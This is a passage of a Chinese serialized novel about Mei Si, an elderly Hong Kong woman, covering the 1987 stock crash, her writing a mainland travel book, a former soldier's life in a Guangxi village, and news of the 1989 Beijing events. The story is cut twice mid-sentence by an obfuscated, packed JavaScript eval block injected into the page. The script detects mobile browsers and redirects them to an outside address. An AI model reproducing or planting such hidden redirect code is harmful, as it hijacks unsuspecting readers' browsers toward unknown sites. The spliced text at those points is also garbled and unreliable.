吃过早点,梅思下楼去买当天的报纸,《信报》头版头条,“十月十九日,美股‘黑色星期一’”,梅思的心登时便是一沉,就是昨天的事啊,美股大跌,香港是一个对外间变化如此敏感的地方,股票市场自然也会动荡,今天倒是要去联交所瞧一瞧。 梅思放下报纸,起身换了衣服,提起皮包便出门,匆匆赶去联交所,果然股价暴跌,梅思挑那还没有怎样跌的股票,卖掉了,保住本金,至于其她跌太狠的,她左思右想,咬咬牙,先挺着。 之后的几天,梅思每天跑交易所,盯着股价来看,不出所料,每天都跌,经纪们都在讲: “一泻千里!” “不知什么时候能停。” “明天就止泻了。” “为什么?” “明天礼拜六啊!” 联交所休息,想跌也没得跌。 面对这样一个哭笑不得的回答,梅思也没有什么话可说,这真是苦中作乐,勉强振作,不过明后天确实可以休息两天,不管礼拜一开盘怎么样,起码暂时先缓和一下。 第二天十月二十四号,梅思看了一下月历牌,是霜降,虽然香港这个地方,一年到头很难想象会有霜,但霜降是传统的节气,必然是有一定意义的吧,起码到了这一天,北方往往落霜,天气迅速转凉。 梅思把刚刚采摘的菜心放进清水盆里,换掉睡衣,一件斑马纹蝙蝠罩衫套在身上,趿着拖鞋,走下楼先去买报纸,一份《信报》,一份《东方日报》。 付过了钱,梅思拿了报纸回到家中,进入梅林,盆子里的菜心已经泡去了泥沙,梅思在石缝泉水中又把它们仔细清洗,便端着菜盆,另一手提了一桶水,回到帐篷边。 在这日常活动的地方,她先是拿过猪腰形的那一只饭盒,架在一边灶火上烧开了水,把菜心放进去煮,另一边放平底小煎锅,烧热油,又加蚝油和酱油,放蒜蓉,又加一点水淀粉,浇在盒盖中那已经沥干水分的菜心上,这便是蒜蓉白灼菜心。 配菜已经有了,原本的小煎锅没有洗刷,梅思直接往里面倒了稀稀的鸡蛋面糊,几分钟之后,一张蛋饼便摊好了,是早餐常吃的,方便省事,至于方才焯菜心的热水,并没有丢掉,留在饭盒中,加一点盐、香油和虾米,再撒一撮葱花,一捏香菜,便是一份现成的汤,还绿绿的,清新可爱。 梅思望着小桌上这几只餐具,本身又是炊具,风风雨雨四十年,美军饭盒和日军饭盒,当初离开桂林,一同带来香港,这么多年一直用着,自从搬回美荷楼,便都放在梅林之中,间或拿来做一点简单的饭菜,往往是早餐,很是合适。 望着那只小煎锅,梅思不由得又想起钟坤,还有当年荆江边看到的,那一队解放军遣送国军战俘的船。 出神地想了一阵,梅思定了定神,回到了现在,好容易到礼拜六,该放松休息一下,她于是一边吃早饭,一边看报纸,财经股票虽然重要,不过还是稍等再看吧,吃饭时候看这个,又是这样的时期,只怕不消化,于是梅思便拿起《东方日报》。 这些年梅思把《大公报》、《明报》都少看了,很喜欢看《东方日报》,小市民的报纸,起初格调不高,宛如当年的《星都》,只不过星都写明星花边,她家是写狗经的,后来为了提升品位,把那些芜杂的都去掉了,专写社会新闻,副刊也不错,许多名家文章,最要紧的是篇幅短,这些年梅思看报,不喜欢很长的篇幅,看书可以大部头,看报纸只爱豆腐块,巴掌大一篇,两分钟看完,大约终究内心浮躁,没有耐性了吧,不耐烦花很长时间读一篇大论。 梅思慢慢咀嚼着菜心,把报纸翻过了一版,是各种通告,视线一溜,几份交友广告之下,是一个黑框告知:“慈母黄门许桂珠女士,本月二十一日无疾仙逝,享年八十九岁。家母方正贤良,玉洁松贞,俭素雅静,温和宽仁,秉旧德于新世,恒垂范于后人。遵母命,丧仪从简,谢绝吊唁。唯此哀思,终生铭记。子黄瑞安一九八七年十月二十三日” 梅思盯着那讣闻足有三分钟,这才移开目光,看下面的消息。 如今对梅思来讲,最为要紧的,还是股价涨落,礼拜六礼拜天两天,在家中勉强休息,二十六号礼拜一,梅思一大早就赶去联交所,盯行情,从早到晚,没有太大的起伏波折,一路下跌,到傍晚收盘,梅思看自己的几只股,最惨的一只跌掉一半。 大厅里面的人都唉声叹气,垂头离去,梅思也在人群的尾端,慢慢地走出去,当天夜间财经新闻,恒生指数跌了三分之一,主播都哀叹:“开市以来从未有过的大跌价!” 跌成这个样子,第二天梅思便无情无绪,早饭后到梅林中忙碌一阵,便出来凉茶铺闲谈。 贺健莲把一杯菊花蜜枣茶放在她的面前,耷拉着眉毛问:“她梅姨,今儿不去联交所?” 梅思摇摇头:“懒得去,没什么好看,白费工夫,还贴车钱。” 贺健莲给撞到了心坎上,激灵一抖,高叫起来:“哎呀呀,这可怎的好?跌得这样惨哩!我把棺材本都投了进去,已经是这个岁数,土埋到脖子,还能怎样翻本?这要是都赔掉,我就不活了!几十年没吃过这么大亏!” 梅思抬起头笑一笑:“健莲姐,不必着急,虽然美国那边不是很行,但香港还是好的,不过是受了美国的连累,等过一阵缓和过来,大约会涨的。” 贺健莲挑起眉毛瞪大眼睛:“你看还能涨多少?” 梅思笑道:“只要不蚀本就是好的。” 贺健莲连连点头:“是了,万万不能赔本,我那活命钱啊!” 坐在凉茶铺喝茶读了报,看看时间快到中午,梅思慢悠悠回来家中,正要做午饭,电话铃响起:“梅小姐,你那股票怎样?” 梅思叹一口气:“太太啊,还能怎样?赔得一塌糊涂。” 白明珠一叠声抱怨:“本来都好好的,哪知道忽然竟这样!我们先生也赔了,现在家里买小菜都要仔细计算,生怕买贵一分钱,现在看看还是你明白,早早卖掉股票,那钱都投到国内去,纵然桂平不是桂林,终究有一条退路……” 后面隐隐有邹千里的声音:“你说……做什么?!她还能……” 梅思扶额苦笑,自己还能去桂平度晚景么? 午饭之后,睡过一觉,梅思醒来,望了望床头的闹钟,已经是下午两点多,睡饱了午觉,人感觉慵懒,不过这个时候,忽然想给柏翠打个电话。 于是梅思慢慢地下了床,喝了半杯水,便坐在桌边,拿起话筒拨了号,听筒里嘟嘟响了几下,那边有人接了起来:“喂,哪位?” “二姐,是我啊。” “啊哟小妹,我正想打电话问问你,这一阵心脏怎样?” “本来好了许多,这两天又有点难过。” “赶快吃药!” “吃药未必有用,只要股票涨起来就好。” “啊呀,香港的股票跌了?台湾这几天也跌,之前倒是涨得猛呢,看着就凶险,好在我们没有买许多,还受得住。我早就劝你,不要把那么多钱都投到里面,你不肯听,等这一劫过去,可该谨慎些,鸡蛋不能都放在一个篮子里,免得鸡飞蛋打。” 梅思左手托着腮,点头答应两声:“嗯嗯,我也在想,到那时抽出一些钱来存定期吧,只是我这一点本钱,实在也没有太多出路。” 生财无路啊,要赚多一点,只有靠股市,倘若自己手头有百八十万呢,倒是可以考虑买公寓买商铺,放租出去,香港的地产这些年一直在涨,只可惜没有那么多钱,辛苦累积这么多年,到如今不算筲箕湾的房产,可动用的钱只有二十二万,这一点本金,想要钱生钱,所得实在有限。 柏翠又劝了她好一阵,理财谨慎,又安慰她不要着急,慢慢地等,苦撑待变,总能有出头之日,当年委员长八年抗战都过来,更何况今天一个小小的股市,别为这点事愁坏了自己的身体。 梅思乱点着头,散漫地应着,等柏翠喘一口气的空档,她说:“三姨太死了。” “哪个?” “就是黄老爷的三姨太,咱们的小妈。” “哈!她死了啊!”柏翠大声笑,“我呸,她是谁的小妈?一个戏子罢了,她也有今天,当年把咱妈逼迫得,走投无路啊。好人不长寿,祸害遗千年,她死了,也给咱妈出口气……” 柏翠痛痛快快骂了一场,末了叮嘱:“好了,你歇着吧,天天跑交易厅,也够累的,好好吃饭,买颗猪心炖来吃,以形补形的,别真为这个愁出病来,更难受了。啊呀,小妹,先别挂电话,你不是前一阵刚去了大陆么?还拍了许多照片,不如就写一本书,温小姐说了,现在解严了,很多当年来台湾的人,想要看看故乡,一时也不得全回去,倘若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对着面前的稿纸,梅思有些愁闷,看页数其实不很长,但都是速记,很能够节约纸张,要写成通常形式的书稿,篇幅会大大加长,当年把速记稿翻成正式稿,虽然工作量很大,自己并不觉得怎样苦,如今或许是年纪不一样了,想到要扩写,很觉得有些吃力。 即使再怎样头痛,梅思也是要写,股票市场到这时,其实已经转好,下跌的股价在回升,不过之前暴跌的惨烈犹在眼前,痛定思痛,还是要想办法多赚钱,于是梅思忍着手疼,早晚不息,一个月修完稿子,连同精心挑选出来的照片,一起寄给了高雄东煌出版社,这一家出版社,之前为她出了回忆录。 一本书的出版,并不是那样容易,春节刚过,东煌的主编给她写了一封长长的信,寄回原稿,要她再次修改一下稿子,梅思闭门二次修稿,写完已经是三月中旬,她正要邮寄新的手稿到台湾,柏翠打电话给她:“小妹,最近怎么样?写书很累的吧,写好了么?……啊你真快,这次该差不多了吧?……唔出版社也想快一点印出来么?不如你便来台湾,住在家里,去见编辑方便,我们也好久没见了……” 梅思想一想,确实是这样,上一封信里,编辑温小姐已经明白和自己说:“要赶快,这一本不是学术类书,无关历史,是永久的,类似新闻,最重要的是时效,前面几篇发到报上,反映不错,趁热打铁快出书,拖得久了,先期去大陆的人回来再写文章,这本书就不新鲜,仿佛放久了的水果。” 于是梅思便也想要快,航空邮件寄来寄去实在麻烦,不如自己去,于是她便打点行装,去了台湾。 在高雄,每天都可以去东煌,与编辑长谈,边谈便记录,梅思只差坐在出版社的办公室里改稿,四月初,终于最后定稿,梅思把誊写工整的稿件交给温小姐,重重地呼出一口气:“总算是结束了,每次改稿,都好像剥头皮。” 温怡君从书稿上抬起头来,笑着说:“梅小姐也是很拼的了,这样厚的稿子,这么快就改完。” 几百页呢,虽然有几十张照片,文字却也不少。 梅思揉着手腕,含笑道:“‘时间就是金钱,效率就是生命’。” 那一次回桂林,听到的很有名的口号,如今的大陆啊,是与从前不一样了。 温怡君视线转到她正在按摩的右腕,问道:“手很疼么?” 梅思点点头:“写字累。” 温怡君笑道:“也很烦。” 深有同感啊,自己也写过文章,第一遍很新鲜,第二遍就厌倦,改到第三遍,简直要发火,太厌烦了,写作哪里是一份灵性的工作?简直好像工匠,一次又一次锤炼,枯燥乏味。 “有想过买一部打字机么?能省事些。” 梅思道:“确实想过。” 反复抄写实在太累,等收到这一次的版税,考虑买一部打字机。 107.第一百零七章 音书难寄 第一百零七章 音书难寄 “打字机?” 公寓的客厅之中,许卓瑛听了梅思的计划,表达了明显的质疑:“然而那已经不很有价值,是要淘汰的东西了。” 梅思笑着说:“我也还没有定下来一定会买。只是为什么说打字机要给淘汰呢?” 许卓瑛扶了扶眼镜:“现在已经有了电脑啊,学校里已经在用,我去美国访问交流,那边的大学研究所,用电脑更多,不仅仅是处理数据,完全可以打字,打印文稿,接一部打印机,方便极了,而且还能够发送邮件,我在想,今后或者不必写信,电脑里发邮件就好,和编辑有什么要说,便在邮件里讲。电脑是未来的风潮,买打字机,虽然不很贵,但长久看下来,终究用处不大,不如买一台电脑。” 梅思登时便想起联交所中,那一部厚重的电脑。 很是高高在上,可望不可即的样子。 看出了她的心思,许卓瑛笑道:“一时虽然不是随便能用,但迟早会‘飞入寻常百姓家’。” 谈了一会儿,门铃响起,是许卓瑛的几个学生前来拜访,六个人里面,四个是女生。 许卓瑛马上给双方介绍:“这位是梅思女士,刚刚写了延安的书。” “啊呀呀,梅女士,早就想见到你。” “你的那一本书,教授布置了作业给我们,很有趣的一本书呢。” “看了您的书,就也想找《西行漫记》来看看。” 旁边她的同学大笑起来:“然后也去延安么?” “已经读了梅女士的书,自然不会去,男人真是会骗人。” “啊,也不要这样说吧。”清瘦的男同学扶着眼镜,笑容有点尴尬。 梅思笑了一笑:“是我自己当年读书不仔细,斯诺先生其实已经透露了信息。” 来到香港之后,在图书馆里重又看到这一本书,《红星照耀中国》,盯着那书名足有一分钟,终于从书架上取下来,带回家中看。 昏黄的电灯泡下,每一个字都是那样熟悉,三十年前,平乐幽静的大宅子里,一个十几岁的少女也是在灯下读这本书,如痴如醉。 如今再读《西行漫记》,一瞬间也是沉醉,那是对昔日理想的留恋,虽然时光早已过去,当年那热烈的追求,那对光明的向往,毕竟是让人陶醉的,只是毕竟不同了,已经少了那时候的热情,只是追忆,就仿佛看一部很老的电影,依然精彩,只是心情带了怀旧。 读着读着,梅思的目光忽然凝住了,“红军的妻子须得到男方同意才可离婚”。 当年自己是怎么竟然漏掉了这样一句话?或许那时候明明是看到的,但并没有在意,以为并没有什么吧,英勇的红军,应该有这样的权利,况且难道红军战士竟然会那样卑鄙,当妻子提出要分离,竟然凭借自己的身份,而不肯答应?一定是以一种英雄气概,慨然应允。 然后梅思说:“文字很多时候是无力的。” 那句关于离婚准许的短短一句话,为如同海潮一般的赞美所淹没,让人不容易留意,然而即使自己当年注意到了,甚至是又读了其她的书,比如陈学昭女士的《延安访问记》,又能怎样呢? 香港这样一个殖民地,意外地成为一个读书的好地方,共产党的禁书,这里有,国民党的禁书,这里也有,就在去年养病的时候,自己在旧书店,找到了多年前的《延安访问记》,反复读了几遍,陈学昭女士确实不愧是博士,学问深奥极了,自己当初的一些懵懂困惑,给她几句话便揭开了,平等呀,平等呀,只要求女人像男人,却不要求男人像女人,女人要像男人一样有力量,才能赢得做人的尊严,然而女人可以生育,男人无论如何办不到,这是他们从不说要“平等”的。 只是那时候即便读到这本书,选择会有不同么?自己会为书中的道理所触动么?太阳光芒万丈,灼热无比,可是太阳也是有黑子的。 许卓瑛缓慢地点点头:“是的,现实压力产生的驱动,不是书里几句话能够转变的。所以我一向认为,女性主义的运动,是一定要由政治层面来切入的,虽然千百年来,政治一直是男人手中的玩物,但要改变社会,女人不能够放弃政治。” 这几句话如同水滴落入油锅,房间里登时沸腾起来,女生纷纷发表意见: “寄希望于国民党,是没有前途的,虽然有妇女部,却只是个花瓶在那里,国民党在利用女人,要改变台湾女性地位,需要另起炉灶灶。” “是的,国民党不在意女性,他们认为自己已经很强大了,不需要我们的支持,我赞成MJ党,就是要推翻国民党的□□!” “选择弱小的党派,他们才会看重我们,女人才有空间。” “是的,陈菊就是MJ党建党的元老。” 争先恐后地发言,梅思的大脑给各种议论填满,看着这些年轻的学生,她忽然想到那几句话,“快,快,迟了来不及了,来不及了!” 再一看那两个仅有的男生,瘦高的那个面皮肌肉抽搐,几次掀动嘴唇想要说话,强忍住了,矮胖的则温和地笑着,面上带着宽容,目光如同波光,从女同学身上掠过,那样的宽容,如同一个忠厚的长兄,看着自己不懂事的小妹妹。 梅思的那一本大陆游记,五月上旬印刷出来,这时她早已回到香港,温怡君寄了一本样书给她:“好在抢了先机,卖得很好,照片是亮点。” 文章写得再好,也比不得相片直观,一张照片能传达出几段文字的内容,梅小姐这些相片照得真好,都很有特色,很能表达意见,像是街头骑自行车的人啦,漓江上的游船啦,土改之后的老宅院啦,延安今日的窑洞啦,用在报纸上,直接就是新闻图片,都是有主题的,有些人买这本书,就是为照片所吸引。 梅思轻轻笑起来,总算放心了,版税不会少的。 然后她便动起脑筋,预备投稿到南宁报社,写信去问陈露云,南宁报刊杂志社的通讯方式,过了一阵,陈露云给她回信,罗列了一串地址电话,下面说道:“学校已经建起一多半,再有两三个月,便可以完工,村民都很感谢。” 八月下旬,新的小学校建成,陈露云提前来信,问:“能过来么?” 梅思回信:“身体还不很好,不去了,拜托你帮忙剪彩吧。” 到九月中旬,南宁寄来一封信:“梅思小学正式落成,这是剪彩那天的照片,可惜你不在。钟坤先生要我代他向你问好,说他一切都好,不必挂念。村子里正在给他申请五保户,会有照顾的。” 梅思睁大眼睛,在照片上搜寻,一排人正中,一位穿西装的老年女干部十分显眼,是陈露云,其他都是男人,自己全不认识,没有钟坤的影子。 钟坤啊,为什么不站在那里,也来照相呢?自从自己那一封信发出去,他一直没有回信,倘若不是露云每次来信之中,总会捎带几句他的近况,真以为这个人忽然消失不见。 只是这话却不能问陈露云,于是梅思想了一想,写好一封信之后,出门去买了一些东西,到邮政局一同寄了出去。 时节已近初冬,风飒飒地吹,即使是广西,天气也转凉了。 钟坤披了一件外衣坐在村头,吸着香烟,静静地听不远处的聊天,只是时不时会走神。 忽然之间,一个女人走来同他搭话:“钟伯,多谢你,三丫头发烧,幸亏了你的药,那个叫做什么,何什么公?那个字不认得。” 钟坤扭转头来,随意地说:“嗯,是何济公,专治头疼脑热的。” 繁体字,三十几岁的人便不大会认。 一个汉子把眼袋往地上一磕,笑道:“那可是香港来的药,当然好使,李嫂,你是托了钟伯的福,才能有这样的好药。” 旁边一个男人说:“香港的药就是灵,我前些时伤了筋,把那活络油抹在肩膀上,嘿,几回就好了!梅小姐真是好人,钟伯,你这个朋友,真是够交情,重情重义。” 钟坤默默点头,是的,梅小姐很有情义,只是自己却显得无情,前后接到四封信,读过之后,几次提笔,对着半本作业簿,颤巍巍写下几个字,终于丢掉了,便是把分别时坚定的诺言也丢弃,反正陈干部常来村中,可以为自己捎话。 南宁的陈干部啊,原来就是钦差大臣,之前帮梅思查访自己,现在又在这里看着盖小学,有时候特意找自己说话:“与黄菲,就是梅思,相识很久了么?” “她没有和你讲吗?” “她啊,她那个人,你晓得是不会闲谈这些的。” “我也不想讲这些。” 于是陈同志那标准的共产党干部式笑容——明朗、亲切、坦率、友善——便不得不稍稍消退,想了一想,说:“黄菲又有信来,问起你,这次要不要回信给她?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943161|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不必了,我这里的事,反正陈同志都知道,你和她说就行了。” 陈同志还想再说几句,这时远处一个男人招呼:“陈干部你在这里啊!快来啊,桌子已经摆好了,村长支书等你过去吃饭。” 于是陈干部只能匆匆道别,向那边去了。 从学校建好,陈干部便不再来了,之前的那封信,无法转托陈干部替自己回应,应该怎样做?想了几番,终究还是不回复。 有什么好说呢?今时的自己,已经不再是昔日的钟坤,国军的上尉,不过是这穷困乡村的普通农民,站在一群乡下老汉之中,看得出什么不同呢?一样的迟钝、僵硬、麻木,只是没有那种隐藏的狡猾,曾经的受教育气息,早已磨去,与大字不识几个的农村老汉没什么两样。 村口的闲谈在继续:“要说这几年,从外面回来的不算少,南洋的,美国的,就今年还有台湾来的,不过都是男人,或者老婆跟着老公,夫妻双双,只有这位梅小姐,一个女人,衣锦还乡,她是真有本事。” “要说衣锦还乡,她也算不上呢,毕竟不是咱村子里的人,连桂平都离她好远,听陈同志说,本来是桂林人,那桂林和桂平,差着几百里呢,咱这里哪是她的家乡?” “不过人倒是好人,捐了这么多钱给咱们盖学校,这一下娃娃念书就不用在那破屋子里,下雨就漏水,冬天还冷。” “那都是看在钟伯的情面上啊,没有梧桐树,引不来金凤凰,否则八杆子拨拉不着,她哪能把钱给咱们村?” “是啊是啊,幸亏有钟伯,唉,钟伯,你到底和那个梅小姐是什么样的交情啊?她怎么肯为了你,掏这么多钱?问你那么多回,总是不肯说,这有什么不能说的呢?” 无非是男人女人那点事,别看钟老汉如今这个邋遢样子,据老人们说,当初刚到塘村,也是挺有气派的呢,虽然也是一身粗布衣服,然而人家那脸上好像能发光,村里的年轻姑娘,上山下田路上个个偷瞄他,说起话来又斯文,居然识字,还见过世面,哪是村里后生可比的? 只是不太爱说话,总是沉默寡言,倒也难怪,成分不好,当过国民党的军官,那可是阶级敌人呢,在这里监管劳动,所以姑娘们虽然有这个心,却没这个胆量。 钟坤蹙起眉头:“战争时代曾经相识。” “然后呢?” “就没了。” 谈不到开始,也就无所谓结束。 “哈哈哈钟伯,你是真能憋得住话,肯定许多事的啦,你就是不肯说,我看那个梅小姐,年轻时也是个风流人物,到这个年纪还这么体面……” 秀气得很,只可惜年纪大了些,不过看着仍然让人舒服,肉皮很是滋润的,不像是村里一些老太婆,仿佛风干了的腊肉,给耗尽了,况且那个文质彬彬哦,显然是念过书的,和当年的钟伯很相配。 见钟坤面色越来越黑,一个四十几岁的男人忙说:“梅小姐人好,钟伯也很好,拿了两千多块,给孩子们买书,买作业本。” 其他人也都顺着夸赞钟坤,钟坤的表情这才放松下来:“也没什么,都是乡亲,本该出力的。” 一万港币,自己留下一半,另一半兑捐了出来,按人民币来算,数目要打个对折。 “是啊是啊,互相照应,互相照应嘛,钟伯,你不要担心,虽然你是一个人,但有乡亲们,你不用发愁养老。” “啊呀那位梅小姐,在香港怎么过的?听说那些资本主义的地方,虽然赚钱容易,但是老了难过,她要是不嫌弃,来咱们村,到将来动不了了,洗衣烧饭,肯定有人管的,生病也有人照顾,她拿出钱来,大家出力,给她起三间瓦房,安电视电话,住着多有派头,咱村里从前的地主也没这么好享受。” “看你说的,咱们这穷地方,要出大地主也难。不过这主意倒真挺不错,钟伯,不如你写信请请她?” 钟坤一摇头:“我不写信。” 这信愈发不能写了,本来只是为了心结,现在倘若写信,梅小姐一个冲动,只怕要倒霉,李大夫人可以回来,她却不好来塘村,大夫人那是住的什么地方?桂林可称广西名城,再看看塘村,只有一个赤脚医生,梅小姐在这里起房子定居,倘若病了,请赤脚医生来看么?送去桂平县城要几个钟头啊,那还得赶上有车,她在香港,公立医院再怎样迟慢,总不能眼看着人死在眼前。 108.第一百零八章 大陆纪行意外热卖 第一百零八章 大陆纪行意外热卖 “北京乱了,大陆那边闹起来了啊!” “这算不算是XX治下的五四运动?” “让XXX也尝一尝□□的滋味。” “一腔热血,太单纯,容易给人当出头鸟,只怕要倒霉。” 礼拜六的清晨,梅思在早餐店门前排队买豆浆,挤作一团的人群中,嘁嘁喳喳议论。 梅思微微皱一下眉头,这几天无线电里都在说,大陆出现风波,许多学生聚集在XXX,翻开报纸,也是连篇的社论,都在讲北京的政治动荡,各有说法,不知究竟怎样,可惜这个时候,自己不很方便过去,时机过于敏感,况且那一次回故乡,发生了房颤,从此一想到再回大陆,就觉得心脏仿佛又有一点难受。 十分钟后,梅思一手拿着豆浆,另一只手拿了几份报纸,便回到家中,把包子从蒸锅里夹出来,放在盘子里,张嘴就是一口,赶忙又吐出来,太烫了。 她向包子吹气,又用报纸对着豆浆扇风,等过几十秒,好容易凉了些,赶紧吃掉,便坐在窗前看报,一份接一份,越看嘴角越是往下垂,整个面皮都仿佛沉重了,明显感觉到向下耷拉,梅思赶忙放下报纸,揉了揉自己的脸,虽然已经是这个年纪,却不想成为一个沉着脸的老阿嬷,满身丧气,让人看到了只想远远避开,况且六十六这个岁数,不是很吉利,要调整心情才好。 四月的天气还不是很热,进入五月,温度便明显上来了,尤其到了下旬,更是燠热,二十八号礼拜天,哪里都不必去,梅思便闲闲地坐在窗前摇着扇子,夏天是真的来了啊,从早起就这样热,看来只好到梅林中躲避一阵,虽然不好去北戴河避暑,但有梅林,在这样的酷暑,也是一个清凉的胜地。 午间,梅树下的餐桌上,摆放了一盘色彩缤纷的菜肴——酸奶沙拉。 青菜汆烫过了,土豆块是烤熟的,一颗水煮蛋,还有小半颗西红柿,上面淋了浓稠的酸羊奶加盐、胡椒粉调成的沙拉酱,材料着实丰富。 从故乡回来差不多两年,梅思把《丁玲文集》读完一遍,是几年前的书,就是她家乡的“湖南人民出版社”发行,越是看到后面,梅思的感触就愈强烈,“文学天才将消灭个干净,天真活泼的态度将变成偶像般的尊严”。 一篇不长的文章,让梅思重回延安,《三八节有感》,当年发表出来,给批得很厉害,报上整天能看到批判驳斥的文章,即使批评的对象不是自己,梅思也感觉如坐针毡,句句都是自己的痛点,丁玲同志那支笔,仿佛就是替自己写出这些文字。 当时自己其实涉世未深,还没有经历独属于女人的创伤,只是听来的故事不少,代入其中,便常觉愤愤,年少的自己,曾经是那样一个敏感的人啊,也很容易抱不平,愿意为许许多多受冤屈的人呐喊,比如工友,比如农友,比如女性同胞,所以那些批判的文字虽然投向丁玲,梅思却觉得矛尖是扎在自己身上,浑身皮肉都紧绷起来,心脏扑通通乱跳,头发仿佛给人大力揪起,发根生疼。 如今再读这篇文章,便只看最后的部分,丁玲女士对女性的告诫,如今的梅思,是偏爱这种“指南”类的文字,直接给出建议就好,自己想要知道的是应该怎样做。 “下吃苦的决心”便不必了,这些年来,苦头已经吃得够多了;“用脑子”,医生和自己说“少要思虑,放宽胸怀”;最要紧的便是“不要让自己生病”。 “身体是革命的本钱”,这句话自己虽然不再用得到,但身体是生活的根基之一,人要活下去,还需要其她的根基,比如财产、学识、感情,但健康是极其重要的,所以许多年来,自己都很留意,再忙碌也尽量按时吃饭,近年条件宽松了,便注意调配饮食,从图书馆借了家政类书来看,学一些料理餐食的方法,荤素也注重结合,营养均衡,毕竟有了健康的身体,才有条件达成另一条,“使自己愉快”。 愁眉苦脸伤身体,古往今来许多才女,叶小鸾石评梅,为了这个多愁哀怨,早早离弃了人世,“革命的乐观主义”,自己是早没资格讲了,本身也不是个乐观的人,不过自己确实不愿意整天悲愁伤感,太痛苦,也损耗生命,当年的许多理想,如今早已淡去,如今最大的心愿,就是长命百岁。 一整个白天,梅思都消磨在梅林里,吃了晚饭,洗漱了,才走了出去,到一楼门廊那里,打开信箱来看,有自己一封信,鼓鼓胀胀,从南宁寄来。 梅思心跳立刻加快,拿了信便赶紧爬楼梯,这么短的路也要遇到人。 “梅阿姨,一整天不见你。” “唔唔。” “阿姨走路慢些,这楼梯间灯闪,明天要让屋邨派人来修。” “啊啊,是要和她们说。” 几分钟便站在门前,用钥匙开了门,两步闪进门去,“啪”地关了门,一时也顾不得反锁,站在桌边便拆信,那信掂着便重,取出来果然六七张纸,厚厚一沓。 陈露云开篇便说:“美帝亡我之心不死,封建主义资本主义的反扑!” 改开十年,普遍的物质匮乏倒是缓解了,然而腐败明显严重,从前虽然生活清苦,但官员廉洁,因为是“同甘共苦”,虽然有抱怨,倒也还耐得住,如今可是不行了,老百姓那样辛苦,才赚一点点钱,当官的仗着手中的权力,大把大把捞钱,这让人怎么能平静呢?民间和知识界早就在批腐败,这一回终于爆发。 “有人在背后煽风点火,怀抱不可告人的目的”,陈露云咬牙切齿,“我们工作中确实有失误,这些年对TF,也的确有些放松了,刘青山张子善那两枪,管不到四十年后,在一些人耳朵里,那枪声差不多听不到了,所以胆大妄为,忘记了自己的责任。不过这并不是理由,这是颠覆,还类比五四,能比得了吗?” 真的是一个太具有标志性的地点,七十年前,民国时代,五四运动就在这里发生,反对北洋军政府,如今又是一群青年学生,在这里集会,半个多世纪风水轮流转,让人舌根发苦。 “这下可给人看了笑话,不知多得意。” 自己的老同学啊,真是有心,把报纸上关于这件事的议论剪下来,足有几十份,装了一个大大的牛皮纸袋,邮寄过来南宁,打开来还是分门别类的,《大公报》、《文汇报》、《明报》、《工商日报》,按左中右用不同的回形针别着,除了《大公》和《文汇》,其她的读过之后,都让自己血压升高,赶快吃了一片降压药,黄菲信里面倒是让自己放宽心,不要急,但这情况哪里忍得住呢? 陈露云当当当一通陈词,最后说:“尽管放心,西方反华势力不会得逞,我们的社会主义事业是正义的,光明的,人民群众大部分还是拥护我们的,少数受到煽动蛊惑,迟早会醒悟过来,你等着看,中央绝不会放任这一小撮阶级敌人任意妄为,先让他们表演,最终要收网,一定会采取雷霆手段,果断处理。” 这些足足写了四大张纸,余下两三张,写的是生活近况,陈露云前不久又去了塘村,看到孩子们都在新建的小学校里读书,很是欣慰,想来梅思也会感到满足,另外因为北京的学C,一些文化工作暂停,比如出版图书,梅思的那一本延安回忆录,暂时不好引入,让她也感到很遗憾。 不过陈露云劝梅思不要着急:“等那件事解决了,这边早晚要重新启动.” 陈露云几十年的老革命,对□□下了这样的断言,果不其然,一个礼拜之后,六月四号,XX采取了断然措施,XXX人群散去。 北京虽然平静下来,香港新闻界却愈发热烈,各种消息满天飞,“军队出动”、“XX上街”,一派血流成河。 茶餐厅冷气机呜呜转,梅思坐在卡座上,喝着鸳鸯奶茶,盛夏时节在这里倒是可以悭冷气,不出汗,但是心如油煎。 北京这一回赢得了稳定,却在舆论上栽个大跟斗,如今在外界媒体中,日益妖魔化,时至今日,对于社会主义共产主义,梅思已经没有那样热衷,依然不能忘却的,只是延安的情怀,自己最美好的年华,最纯真的感情,最热烈的理想,都留在了延安,眼看已经露出虚弱的迹象,不由得她一阵惘然。 政治归政治,六月十二号礼拜一,当梅思又站在联交所大厅,迎面而来的便是切身的利益问题,股价还在跌啊,虽然早就预料到会这样,已经提前卖出一部分,但留在股市还有五万多块钱,梅思抬手按住左胸,股票市场啊,风云变化实在急剧。 梅思正在盯着股价,忽然间有人轻轻拍了拍她的肩膀:“梅小姐。” 梅思转头一看:“啊,尹生,你也来了?好 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这便相当于广告,香港的书商也真是高效,马上联络了台湾那边,进了几百本,摆在书店里,不多两日便发卖一空,两天前,温怡君还打电话给梅思:“香港有出版社要出这本书,这几天会找你联系,恭喜大卖!” 马上又说:“幸亏出得早,抢占先机,琼瑶的大陆行,在书店里摆了半年了。” 梅思对着尹宗翰笑笑说:“书名太煽情了,本来不是叫这个名字。” 最初自己拟定的书名,是《四十年来梦魂归》,不过温怡君一看便摇头:“太文绉绉了,你看琼瑶的小说,虽然名字也古典,但都很浪漫,《庭院深深》、《寒烟翠》、《月满西楼》,非常旖旎的,这个书名——梅小姐你不要不高兴——显得沉重僵硬,放在书架上,一排游记里面,不是很能吸引人的,纵然内容特别,是读者需要的,但倘若题目不亮眼,便容易给人忽略,你知道的,每年新出的书,如山如海呢,都盼望读者能把目光投过来。” 